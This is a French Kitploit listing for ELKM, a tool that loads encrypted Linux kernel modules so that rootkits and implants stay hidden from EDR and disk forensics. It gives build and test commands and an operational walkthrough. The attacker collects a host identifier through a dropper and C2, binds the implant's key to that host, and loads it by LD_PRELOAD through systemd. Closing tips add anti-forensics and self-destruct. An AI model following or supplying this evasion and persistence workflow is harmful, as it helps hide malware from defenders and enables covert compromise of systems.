Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
encrypted-linux-kernel-modules — encrypted-linux-kernel-modules | Kitploit
Outils/GitHubGitHub/cenobyte-vincit/encrypted-linux-kernel-modules
Privilege EscalationEncryption/Decryption ToolsPersistence MechanismsIDS/IPS EvasionPost-ExploitationCommand and ControlRed TeamingPayload Development

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
cenobyte-vincit/encrypted-linux-kernel-modules

encrypted-linux-kernel-modules

encrypted-linux-kernel-modules

Voir le dépôt
133il y a 5 ansPas encore vérifié

ELKM : Modules noyau chargeables chiffrés Linux x86-64

ELKM fournit un mécanisme pour transporter et charger en toute sécurité des modules noyau chargeables (LKM) chiffrés. L'objectif est de protéger les rootkits et implants basés sur le noyau contre l'observation par les logiciels de détection et de réponse aux extrémités (EDR) et de neutraliser les effets de la récupération par les outils de forensique disque.

RHEL/CentOS 7

ELKM a été spécifiquement écrit pour RHEL/CentOS 7 x86-64.

root@kitploit:~
kernel-tools-libs-3.10.0-1127.18.2.el7.x86_64
kernel-devel-3.10.0-1127.18.2.el7.x86_64
kernel-tools-3.10.0-1127.18.2.el7.x86_64
kernel-headers-3.10.0-1127.18.2.el7.x86_64
kernel-3.10.0-1127.18.2.el7.x86_64

Préparer l'environnement de compilation

root@kitploit:~
sudo yum install glibc-static -y
sudo yum install kernel-devel -y
sudo yum install kernel-headers -y
sudo yum install openssl-devel -y
sudo yum install libcurl-devel -y

Tests automatisés locaux

Le script de test effectue 4 tests :

  • Mot de passe fourni via /sys/class/dmi/id/product_uuid
  • Mot de passe fourni via http://169.254.169.254/latest/meta-data/instance-id (sur EC2)
  • Mot de passe fourni via l'environnement
  • Mot de passe fourni via stdin
root@kitploit:~
$ make
$ sudo ./test.sh
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules clean
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CLEAN   /home/test/encrypted-kernel-modules/.tmp_versions
  CLEAN   /home/test/encrypted-kernel-modules/Module.symvers
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
rm -f loader.so
rm -f payloadfuser
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules modules
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CC [M]  /home/test/encrypted-kernel-modules/kernel-module.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/test/encrypted-kernel-modules/kernel-module.mod.o
  LD [M]  /home/test/encrypted-kernel-modules/kernel-module.ko
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
gcc -o loader.so loader.c -fPIC -shared -ldl -lcrypto -Wall
gcc -o payloadfuser payloadfuser.c -lcrypto -Wall
strip --strip-unneeded kernel-module.ko
strip --strip-unneeded loader.so
strip payloadfuser
--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password '07EC86F1-957C-6B4E-9134-7A6DE5ACC99C', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-ENV-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-STDIN-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

Compilation et création manuelle d'une charge utile de test

root@kitploit:~
make
./payloadfuser ./kernel-module.ko ./loader.so dummykey
FOO=dummykey LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

Opérationnel

Lier ELKM à un système spécifique

Via product_uuid

Sur le système cible :

root@kitploit:~
cat /sys/class/dmi/id/product_uuid

Remarque : cela doit être fait de manière automatisée, par exemple via un dropper. Transmettez le product_uuid à l'infrastructure de staging via le C2.

Sur l'infrastructure de staging :

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $uuid

Sur le système cible, téléchargez le loader depuis l'infrastructure de staging et exécutez-le via un exécutable de confiance :

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
Via l'ID d'instance EC2

Sur le système cible :

root@kitploit:~
curl http://169.254.169.254/latest/meta-data/instance-id

Remarque : cela doit être fait de manière automatisée, par exemple via un dropper. Transmettez l'ID d'instance à l'infrastructure de staging via le C2.

Sur l'infrastructure de staging :

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $instanceid

Sur le système cible, téléchargez le loader depuis l'infrastructure de staging et exécutez-le via un exécutable de confiance :

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

Pour définir le mot de passe destiné à l'environnement ou au shell interactif

Sur l'infrastructure de staging :

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so PASSWORD

Sur le système cible, via l'environnement :

root@kitploit:~
# FOO=PASSWORD LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
#

Ou via stdin :

root@kitploit:~
# LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
THISISMYINTERACTIVEPASSWORD
#

Conseils

Quelques conseils si vous souhaitez déployer ELKM en conditions opérationnelles :

  • Ne compilez pas avec 'debug'
  • Changez les noms de fonctions
  • Implémentez davantage de techniques anti-forensiques
  • Envisagez de remplacer OpenSSL par une autre bibliothèque cryptographique
  • Implémentez un mode d'autodestruction en cas d'échec des mots de passe

Nous avons choisi de ne pas implémenter ces fonctionnalités pour éviter le fingerprinting.

Télécharger l’outil